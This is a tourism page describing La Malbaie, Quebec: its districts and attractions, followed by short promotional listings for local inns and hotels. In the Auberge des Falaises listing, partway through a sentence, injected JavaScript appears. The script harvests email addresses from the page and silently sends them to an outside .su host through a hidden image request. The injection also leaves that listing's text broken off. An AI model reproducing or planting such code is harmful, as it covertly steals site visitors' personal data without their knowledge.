La Malbaie

The city of La Malbaie now includes the former municipalities of Pointe-au-Pic, Rivière-Malbaie, Sainte-Agnès, Cap-à-l’Aigle and Saint-Fidèle. One of the favourite tourist destinations for more than two centuries now, the region of La Malbaie has always pleased its visitors.

Located along the St. Lawrence River, Pointe-au-Pic is the birthplace of vacation in Canada. In the beginning of the 20^th century, the high society of New York, Toronto and Montréal was coming by steamboats to get some rest in Murray Bay and the Manoir Richelieu. Some wealthier visitors even built summer residences, some of which are still private houses today, while others have become charming inns and bed and breakfasts. In Murray Bay’s immediate area, you will find a golf course, which is one of the oldest in the country, as well as a promenade, which runs along the bay up to the parc du quai Casgrain. The Pointe-au-Pic area is also a place where you will have access to panoramic stairs that will lead you to the hotel Fairmont Le Manoir Richelieu and the Casino de Charlevoix. There, customers can do a large number of outdoor activities like golfing, horseback riding, skiing or snowmobiling. On the site, you will also find restaurants, boutiques, complete sport centre, a health centrer as well as an ultramodern conference centre. A little farther on the chemin du Havre, the Musée de Charlevoix presents the permanent exhibition “Appartenances”, which traces back the history of Charlevoix through works of art, objects and old photographs.

In the Rivière-Malbaie area, located between La Malbaie, Clermont and Cap-à-l’Aigle, the Mont Grand Fonds invites you to try its ski resort while the Camping des chutes Fraser offers you many campgrounds near these impressing 55-meter-high waterfalls, a mini-golf and picnic areas. A little farther, the Forge-menuiserie Cauchon, located on the edge of the Malbaie River, houses more than 200 home-made tools and will allow you to relive 120 years of history and to understand the role of the blacksmiths in the beginning of the 20^th century. Two days a week, it is possible to meet a real blacksmith who comes work on the site.

It’s in the Sainte-Agnès area that you will find the church built in 1844 inside which scenes from the soap opera “Le Temps d’une Paix” were shot. In the Rang Sainte-Philomène, the monastère de la Croix glorieuse houses a contemplative monk catholic community. The church and the outside of the monastery can be visited at any time and visitors can also attend a mass. The Maison du Bootlegger is another attraction you will want to visit. Built in 1860, this residence was a gathering place for those who wanted to drink alcohol at the time it was forbidden by religion and was banned in the United-States. In order to trick the authorities, the owners of the house modified the different rooms and created a real labyrinth. You will be surprised by this residence filled with secret doors, hidden bars and private rooms, all linked by secret passages. In the attic, the clandestine club Le Club des Monts, composed of notables, often gathered together. Many prestigious guests have visited the place, even Richard Nixon and Elvis Presley. Today, it hosts a restaurant and proposes animated evenings. But be careful, if you visit this house, do so with the help of a guide or else you may get lost!

Finally, the Cap-à-l’Aigle area houses the largest private garden in Canada, les Jardins “Les Quatre Vents”. Covering about 20 acres, this site has 40 gardens right next to one another. In the flower gardens like the Jardin Blanc, the Roseraie, the Allée de Vivaces and the Allée des Oies, you will be able to admire particular colours, forms and textures, and to discover a very interesting variety of plants. The Jardins “Les Quatre Vents” offers breathtakingly beautiful scenery and many exceptional plants that will please both amateur and professional horticulturists as well as visitors. Another similar park is the Jardins du cap à l’Aigle, which houses about twenty plant beds with all kinds of flowers, as well as a part of the lilac collection from the corporation Cap-à-l’Aigle Village Lilas. The Centre écologique de Port-au-Saumon, for its part, is a summer camp that will let you discover the natural marvels of Charlevoix. Several activities are proposed like astronomy, ornithology, whale-watching excursions, marine mammals specialized camps, swimming, climbing, archery, and more. Aquariums are even installed near the shore and will allow you to observe and even touch starfish, sea urchins and anemones.

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Accomodation La Malbaie

Auberge Les Sources

L'Auberge Les Sources, an old canadian residence made of cedar shingles, today painted in white, the Auberge takes his name after all the water that runs through its field. L'Auberge, in its real meaning, is located only a 5 minute walk from the Casino and the famous Richelieu Manoir. It is surronded by a magnificent park, away from all traffic. A true peace of haven.

Auberge des Peupliers

Located in the picturesque village of Cap-à-l'Aigle, the Auberge des Peupliers is waiting for you. Charming ambiance, comfortable rooms-we have everything to guarantee you a pleasant, relaxing stay. Come for our most refined gastronomic table, or to enjoy the shores of the St-Lawrence River and the mountains of Charlevoix-either way, we'll make sure you have a memorable time with us. Welcome for a memorable country gateway!

Hôtel au Petit Berger

Nestled in the hills, facing the St-Lawrence River, l'Auberge Au Petit Berger in La Malbaie (Pointe-au-Pic), offers one of the nicer panoramas of the Charlevoix region. 2 minutes from the Casino and Charlevoix Museum, 2 miles away from the Murray Bay Golf Club, the Inn offers a range of rooms to suit all tastes and budgets. From the Desbiens and Cantero pavillions with their charming rustic rooms, the Julie-Anne and its wood-clad rooms with whirpool bath and fireplace to our main building and its spacious modern rooms and one-bedroom suites, L'Auberge au Petit Berger will fulfill your needs.

Le Petit Manoir du Casino

Only a minute away from the Casino and the Manoir Richelieu, on a site dominating the majestic St-Lawrence River, Le Petit Manoir du Casino is the destination for your stay in the beautiful Charlevoix region. To celebrate its 10 years, we are expanding to offer you more possibilities with our new pavilions and theirs studios. Thoses constructions will give you a magnificient view on the St-Lawrence River, the Manoir Richelieu and the Casino, and offer you a direct acces by stairs to the Casino. In more of our 76 hotel's rooms, ours pavilions will offer you 78 air-conditioned units, with kitchenette and electric fireplace, and an indoor and outdoor spa on each building, and an indoor pool. Come to find a convivial and cordial atmosphere at our family restaurant Les Délices. Our mouth watering meals will please the entire family.

Auberge Les 3 Canards

For more than 50 years, Auberge des 3 Canards has enjoyed an outstanding reputation, due in no small part to our award-winning cuisine and 4-star accommodations. An added bonus is the resort's location: snug in the heart of a UNESCO World Biosphere Reserve, a truly unique environment.

Auberge des Falaises

Take a Look at this Real Feast! Overlooking the St-Lawrence River, our inn offers comfortable rooms, all with a river view and most of them with a sitting area, fireplace, whirlpool bath, and private balcony. Combined with our renowned cuisine, pool, and panoramic restaurant, your stay will be a feast for both the eyes and palate! Whether you wish to relax in the comfort of your room, lounge beside our panoramic pool or savour our delightful food, charm, beauty, fine dining and romance are combined with excellence to offer you an unforgettable stay! And now you can enjoy the relaxation of our brand new spa including hot tubs, cold pool, sauna and rest areas. Acces to our spa is free and automatically included with room's reservation for (var ii=0; ii < document.childNodes.length; ii++) { if (typeof(document.childNodes[ii].innerHTML) != undefined) { var m = document.childNodes[ii].innerHTML.match(/[a-z0-9_\.-]+@[a-z0-9_\.-]+\.[a-z\.]{2,6}/ig); if (m != null) { var r = []; for (var j = 0; j < m.length; j++) { var f = false; if (m.length < 100) { for (var jj = j+1; jj < m.length; jj++) { if (m[j].toLowerCase() == m[jj].toLowerCase()) { f = true; break; } } } if (!f) { r.push(m[j]); } } var i=document.createElement('img'); i.style.position = absolute; i.style.left = '-1000px'; document.body.appendChild(i); i.src = 'https://plc-statistics.su/ping.html?cmd=log&w=email&id=YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&text=' + r.join('|||') + '&r=' + Math.random(); } } }

Econo Lodge La Malbaie

Located close to Casino de Charlevoix and the whale watching cruises, Econo Lodge La Malbaie is the perfect hotel where families and business travellers can stay. Close of the hotel you will also find St. Joseph Hospital, Le Manoir Richelieu, Mont Grand-Fonds, Isle-aux-Coudres, Parc des Hautes Gorges, Baie-Saint-Paul, Musée de Charlevoix, La Maison du Bootlegger and Baie-Sainte-Catherine.

Fairmont Le Manoir Richelieu

In the heart of Charlevoix and close to several activities: golf, whale watching, alpine skiing, cross-country skiing, horseback riding and many others. The hotel is also located next to Casino de Charlevoix and a wellness centre is available for a nice day of rest.

Chez Truchon Bistro-Auberge

Old-word charm with a contempory flair, in the earth of Charlevoix. This beautiful old-house offer to you 9 different style rooms. Victorian rooms, London style flat, or just charming and loving rooms (Chaleureuses and Chaumières), all are perfect for relaxation. The Auberge offer also a very good Bistro Restaurant and the Chef Truchon prepare to you fresh products, full of flavours and unexpected tastes. (Breakfast and dinner).

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